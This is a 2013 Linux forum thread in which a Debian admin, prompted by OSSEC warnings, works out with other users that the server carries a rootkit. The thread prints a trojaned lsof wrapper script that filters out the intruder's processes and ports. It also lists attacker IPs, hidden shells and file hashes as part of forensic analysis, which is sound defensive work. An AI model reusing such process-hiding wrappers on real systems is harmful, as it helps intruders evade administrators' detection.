File '/usr/bin/ssh' is owned by root and has written permissions to anyone.

Babelduo · 06-06-2013, 09:19 AM

Hey guys,

I am running a debian server with OSSEC. Today I got a few warnings likes this:

Code:

Received From: SERVER->rootcheck
Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)."
Portion of the log(s):

File '/usr/bin/ssh' is owned by root and has written permissions to anyone.

same for a few more files:

/usr/sbin/sshd
/etc/rcS.d/S76pdflush

What does that mean and what permissions should I give those? If I try the following it's failing?!

Quote:

SERVER:~# ls -lh /usr/bin/ssh
-rwxrwxrwx 1 root root 372K 14. Dez 2010 /usr/bin/ssh
SERVER:~# chmod a-w /usr/bin/ssh
chmod: Beim Setzen der Zugriffsrechte für „/usr/bin/ssh“: Die Operation ist nicht erlaubt
SERVER:~#

Sorry, that's german. Means no permissions for the operation... and YES I am root.

Any ideas? Thanks already!

sundialsvcs · 06-06-2013, 11:01 AM

A setuid root program-file that is world-writeable could have its content replaced by any program of the intruder's choosing.

edorig · 06-06-2013, 01:48 PM

Even if the program is not setuid root, the fact that it is writable by anyone means that any user could replace
ssh or sshd by any other executable. Since ssh can prompt for passwords on other machines, this can be used to
steal login and passwords for instance.
Can you do chmod 755 /usr/bin/ssh ? Is /usr/bin/ssh an executable file or a symbolic link to (say) /usr/local/bin/ssh ?
In practical terms, when is the last time you ran the program that gave you these warnings ?
Can you check who logged between the 2 runs ? Have you installed any package between the 2 runs ?
Are there any miconfigured daemons on your system that could have changed the permissions of these files ?

unSpawn · 06-11-2013, 01:28 AM

In addition to what's said already

Quote:

Originally Posted by Babelduo

Code:

File '/usr/bin/ssh' is owned by root and has written permissions to anyone.

- find out if the access rights are default for Debian (they should not be).

Quote:

Originally Posted by Babelduo

Code:

SERVER:~# ls -lh /usr/bin/ssh
 -rwxrwxrwx 1 root root 372K 14. Dez 2010 /usr/bin/ssh
 SERVER:~# chmod a-w /usr/bin/ssh
 chmod: Beim Setzen der Zugriffsrechte für „/usr/bin/ssh“: Die Operation ist nicht erlaubt
 SERVER:~#

- run 'lsattr' on the binary. Chances are the immutable bit is set which is a good indication of malicious activity. That being the case you should perform an investigation to learn how the perp got in. After all replacing binaries requires root rights. Until you have investigated it is strongly suggested to treat the machine as unsafe, compromised.

Babelduo · 06-11-2013, 08:49 AM

Hey,

first, thanks all of you! It seems that my server has been compromised, I am getting back that late because I did the only thing you can do in that situations - move to a new one. Quite a hassle but else you never know where some bad stuff has been placed

Yes, the immutable bit had been set:

Code:

SERVER:~# lsattr /usr/bin/ssh
s---ia------------- /usr/bin/ssh
SERVER:~#

And I found out some more:

I saw that something was running on port (or connecting to) 7500:

Code:

SERVER:~# netstat -tulpan | grep 7500
tcp        0      0 SERVER:35408      192.71.253.25:7500      VERBUNDEN   19019/[pdflush]

But this process was hidden by "ps":

Quote:

SERVER:~# ps aux | grep 19019
root 5625 0.0 0.0 11020 880 pts/10 S+ 01:07 0:00 grep 19019

I don't know what its about this pdflush?!

Quote:

SERVER:~# find / | grep pdflush
/proc/sys/vm/nr_pdflush_threads
/etc/rcS.d/S76pdflush

But it was hidden as "lsof" has been replaced by a script (thanks to Ossec for the notification that came in after my first post here)

Code:

SERVER:~# lsof -i
SERVER:~# whereis lsof
lsof: /usr/bin/lsof /usr/sbin/lsof /usr/share/man/man8/lsof.8.gz
SERVER:~# cat /usr/sbin/lsof
#!/bin/sh
   if [ -f /etc/X11/applnk/lsof ]; then
      /etc/X11/applnk/lsof "$@" | grep -v grep | grep -v lsof | grep -v sync | grep -v bufd | grep -v 7500 | grep -v fileserver | grep -v 666 | grep -v applnk | grep -v filearch | grep -v libsslo | grep -v kaud
   fi

And "pstree" has been replaced by a script as well

Quote:

So I started "top" and could see two suspicious commands running:

Quote:

top - 01:10:27 up 2 days, 9:20, 5 users, load average: 2.72, 2.77, 2.65
Tasks: 170 total, 3 running, 167 sleeping, 0 stopped, 0 zombie
Cpu(s): 90.4% us, 9.6% sy, 0.0% ni, 0.0% id, 0.0% wa, 0.0% hi, 0.0% si
Mem: 4030528k total, 3779152k used, 251376k free, 347236k buffers
Swap: 1999984k total, 21840k used, 1978144k free, 2132512k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
16456 www-data 20 0 31176 3592 1048 R 98 0.1 2251:52 sh -i
16744 www-data 20 0 31176 3600 1048 R 82 0.1 2214:19 sh -i
5439 root 20 0 15916 1696 1044 S 1 0.0 0:08.17

This does not look normal does it?

Maybe some of those bitcoin miners you hear more and more about? So I killed those... closed all ports etc.

Finally I run "/usr/bin/lsof" directly and not through the script and could see some outgoing connections to a http server:

Code:

SERVER:~# /usr/bin/lsof -i
COMMAND     PID         USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
...
...
apache2   13297     www-data    3u  IPv4  398542      0t0  TCP SERVER:54076->58.120.226.31:https (CLOSE_WAIT)
apache2   13297     www-data    6u  IPv6  408104      0t0  TCP *:www (LISTEN)
apache2   13910     www-data    3u  IPv4  398542      0t0  TCP SERVER:54076->58.120.226.31:https (CLOSE_WAIT)
apache2   13910     www-data    6u  IPv6  408104      0t0  TCP *:www (LISTEN)
apache2   13912     www-data    3u  IPv4  398542      0t0  TCP SERVER:54076->58.120.226.31:https (CLOSE_WAIT)
apache2   13912     www-data    6u  IPv6  408104      0t0  TCP *:www (LISTEN)
apache2   13921     www-data    3u  IPv4  398542      0t0  TCP SERVER:54076->58.120.226.31:https (CLOSE_WAIT)
apache2   13921     www-data    6u  IPv6  408104      0t0  TCP *:www (LISTEN)
apache2   13922     www-data    3u  IPv4  398542      0t0  TCP SERVER:54076->58.120.226.31:https (CLOSE_WAIT)
apache2   13922     www-data    6u  IPv6  408104      0t0  TCP *:www (LISTEN)
apache2   13923     www-data    3u  IPv4  398542      0t0  TCP SERVER:54076->58.120.226.31:https (CLOSE_WAIT)
apache2   13923     www-data    6u  IPv6  408104      0t0  TCP *:www (LISTEN)
apache2   13973     www-data    3u  IPv4  398542      0t0  TCP SERVER:54076->58.120.226.31:https (CLOSE_WAIT)
apache2   13973     www-data    6u  IPv6  408104      0t0  TCP *:www (LISTEN)
apache2   14012     www-data    3u  IPv4  398542      0t0  TCP SERVER:54076->58.120.226.31:https (CLOSE_WAIT)
...
...

So some https connections to 58.120.226.31... and when you open this IP in your browser you get a nice message:

Code:

Hi~ My name is Min^^«á 
What do you want to do next?

Yep, what do I want to do next? Any ideas how I could trace this back and see what caused it?

I have/had Plesk 11 running (which will be behind htaccess from now on)
And I had two older php-scripts running (http://extplorer.sourceforge.net/ and http://www.frech.ch/online-bookmarks/), which will be behind htaccess as well.
Else just Wordpress installations which I keep always up to date (thanks to email notifications for updates).

I really have to say thanks to Ossec, else I would have never known about it. You use Ossec or something else?

Cheers,
Kim

edorig · 06-11-2013, 01:42 PM

pdflush is a legitimate process that is simply flushing the
disk cache to the hard disk. A whois on 85.25.149.52 gives BSB Service GmbH (you ?) but a whois on 192.71.253.25
gives Hexero Ltd in Cyprus. Is there some NFS/CIFS/AFS or other distributed filesystem mount ? The IP address
58.120.226.31 is in Korea. You can obtain more details from http://whois.nic.or.kr/english/index.html. You should look at the /var/log/messages and /var/log/syslog for the
period between the last normal run of OSSEC and the first abnormal one (although it is quite possible that the
crackers have deleted/modified these files to erase their tracks). You may also use the commands last |head -100
to determine the last 100 logins (with the same caveat) and see it there is something suspicious. Looking at
/etc/passwd to check whether extra accounts have been created is of course necessary. You should also be careful
about the at/batch queues and the crontab, the /etc/sudoers and /etc/ftpusers files, inetd.conf hosts.allow/deny files
and other important system files. If these files have been changed, it might be useful to note the date and time
of the modification. You may also want to look at the shell history files of all your users, especially if you
have located logins at suspicious times with the last command. Of course, all that may return nothing if the crackers
have carefully erased their tracks, but it might give you a hint of the vulnerability they have exploited and of
the software they have installed on your machine.

unSpawn · 06-12-2013, 01:46 AM

Quote:

Originally Posted by Babelduo

first, thanks all of you! It seems that my server has been compromised, I am getting back that late because I did the only thing you can do in that situations - move to a new one. Quite a hassle but else you never know where some bad stuff has been placed

That's OK mitigation-wise (and as long as you did not migrate any binaries, and inspected any configuration and web site content beforehand) but like I said before you should still learn the infection vector.

Quote:

Originally Posted by Babelduo

I don't know what its about this pdflush

It's clearly a rogue process.

Quote:

Originally Posted by Babelduo

But it was hidden as "lsof" has been replaced by a script (..) And "pstree" has been replaced by a script as well

Thanks for posting contents. I'd love to get my hands on the changed files. Any chance you can ship them to me as a tar ball? (Please contact me by email.)

Quote:

Originally Posted by Babelduo

So I started "top" and could see two suspicious commands running

Apart from the root compromise you see two shells running as user "www-data". While those processes could have ended up anywhere it's all too common to see web stack exploits due to credentials leeching (infected clients), bad password policies (brute forcing) but most of all stale, deprecated, vulnerable software (or themes, plugins, etc, etc.).

Quote:

Originally Posted by Babelduo

I have/had Plesk 11 running (..) I had two older php-scripts running (http://extplorer.sourceforge.net/ and http://www.frech.ch/online-bookmarks/), which will be behind htaccess as well. Else just Wordpress installations (..).

Wrt the olders scripts: if no current, maintained version exists you should not use them, period. And even if you keep using web-based control panels and CMSes you should not rely solely on access restrictions and automagical update features but be vigilant and periodically check any aspect of them. You know there's still TimThumb-infected hosts out there?

Quote:

Originally Posted by Babelduo

Yep, what do I want to do next? Any ideas how I could trace this back and see what caused it?

edorig is right saying you should do log analysis first. If you don't know how it's probably easiest to copy all log files including archived ones off the machine and process them on another machine using Logwatch.

Quote:

Originally Posted by Babelduo

You use Ossec or something else?

Personally I prefer a combination of hardening, auditd service rules, Samhain and LMD. The most important thing is to know what you use and ensure it covers all aspects that need covering.

Quote:

Originally Posted by edorig

pdflush is a legitimate process that is simply flushing the disk cache to the hard disk.

You're ignoring the fact that the OP already presented nfo showing the fake "pdflush" has a relatively high PID (kernel threads usually have low PIDs), is listening on a port and is actually showing a connection. You got smacked by the old argv[0] trick of taking things at face value.

Babelduo · 06-13-2013, 08:16 AM

@unSpawn

sure I will send you those as tar file. Where can I find your email or send a pm message in this forum? Can't find it... maybe it's me, maybe the 3rd glass of wine!

unSpawn · 06-15-2013, 04:15 AM

Thanks for the tar ball. Seems I'm missing /var/system/pagezero/bufdaemon (or rather: the contents of /var/system/pagezero/, /usr/src/bin/, /etc/X11/applnk/)? Noticing the two PHP backdoors also please check http://www.kb.cert.org/vuls/id/673343. Also when was this system setup? Are there any other anomalous files or files with similar modification dates?

Babelduo · 06-16-2013, 07:03 AM

Hey unSpawn,

I sent you another file containing the other requested files. There is no directory /etc/X11/applnk, even though the lsof script is linking to it hmm.

Cheers,
Kim

unSpawn · 06-16-2013, 12:40 PM

Code:

# Magic:
/usr/src/bin/pstree: ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), for GNU/Linux 2.6.18, dynamically linked (uses shared libs), stripped
/usr/bin/ssh: ELF 64-bit LSB shared object, AMD x86-64, version 1 (SYSV), for GNU/Linux 2.6.18, stripped
/usr/sbin/sshd: ELF 64-bit LSB shared object, AMD x86-64, version 1 (SYSV), for GNU/Linux 2.6.18, stripped
/var/system/pagezero/bufdaemon: ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), for GNU/Linux 2.6.18, dynamically linked (uses shared libs), stripped

# MD5 hashes:
c336d28dda2f12cbd9700cbec95db851  /etc/rcS.d/S76pdflush
f15f9c8d40b0233e1e9c3c944b0b5ce9  /usr/src/bin/pstree
6352bf2463aefa3a500a7df545967d06  /usr/bin/ssh
80ebbdd000b7ad0a040b7d032dbee30d  /usr/bin/pstree
f8c11462e8f2a7bf80e212e06041492b  /usr/sbin/sshd
ae4cc8c307a2351b334d9fa6008328bc  /var/system/pagezero/bufdaemon

# SHA1
d7c5a1e6126c95a450b347d8d6c2331ad400ad51  /etc/rcS.d/S76pdflush
1effd1bd91194278874bca1ea4386bf0fbf38c85  /usr/src/bin/pstree
d71979cf1757dc3c2a43837fbb63dd9f668cf751  /usr/bin/ssh
12e57056489680f4bb6fc90d985820e79f7eb372  /usr/bin/pstree
f046c6434882f6194e9bc8a3673544ef355020b0  /usr/sbin/sshd
dcc8e9f053222f071d7483a566262297fddbb469  /var/system/pagezero/bufdaemon

# time line of modification times:
-rwxrwxrwx root/psaadm   72987 2010-03-04 02:31:09 lib/_Tmp_18247.php
-rw-rw-rw- root/psaadm   72987 2010-03-04 02:31:09 lib/protox86_64182470.js.php

-rwxr-xr-x root/root       209 2010-04-09 13:28:01 usr/bin/pstree
-rwxr-xr-x root/src      19584 2010-04-09 13:28:01 usr/src/bin/pstree

-rwxr-xr-x root/root       268 2010-04-28 06:05:33 usr/sbin/lsof
-rwxrwxrwx root/root       123 2010-04-28 06:05:33 etc/rcS.d/S76pdflush

-rwxrwxrwx root/root    475896 2010-12-14 23:41:06 usr/sbin/sshd
-rwxrwxrwx root/root    380528 2010-12-14 23:41:06 usr/bin/ssh

-rwxrwxrwx root/root    414392 2012-05-01 13:12:02 var/system/pagezero/bufdaemon
drwxrwsrwx root/src          0 2013-06-06 11:37:04 usr/src/bin/
drwxrwxrwx root/root         0 2013-06-06 14:55:57 var/system/pagezero/

Couple of comments. This setup relies on obfuscation and the careless admin user giving processes no more than a cursory glance as there is no "pdflush" service. The dirty page daemon is a kernel thread called 'pdflush' which is a child of 'kthread' which itself is a child of init. The same goes for "pagezero" and "bufdeamon" which are system processes alright when running BSD. The clumsy grep

Code:

 | grep -v sync | grep -v bufd | grep -v 7500 | grep -v fileserver | grep -v 666 | grep -v applnk | grep -v filearch | grep -v libsslo | grep -v kaud

is kind of intriguing as it references strings I've not seen files for like "kaud" and "libsslo". The latter (don't misread this as libssl.o) was referenced elsewhere as another immutable file "/usr/lib/libsslo.so" on a compromised server. And /var/system/pagezero/bufdaemon appears to be Iroffer, an IRC fileserver using DCC. Since you were warned on the 6th I think you got lucky (figuratively speaking only of course) because the modification date of /usr/src/bin/ and /var/system/pagezero/ match (though time stamps certainly can be manipulated by root). Running 'strings' and 'readelf' on the regular ssh binaries don't show much except they use less libraries than mine would (but I'm using another distribution) and they show no sign of pass phrase leeching. Nonetheless it requires root rights to replace these binaries so I would alert all users and have all pass phrases changed (you adhere to SSH best practices, do you?) and check the Securing Debian Manual (http://www.debian.org/doc/manuals/se...-debian-howto/) for hardening measures to apply before re-enabling any networked services.

HTH and good luck with your new server.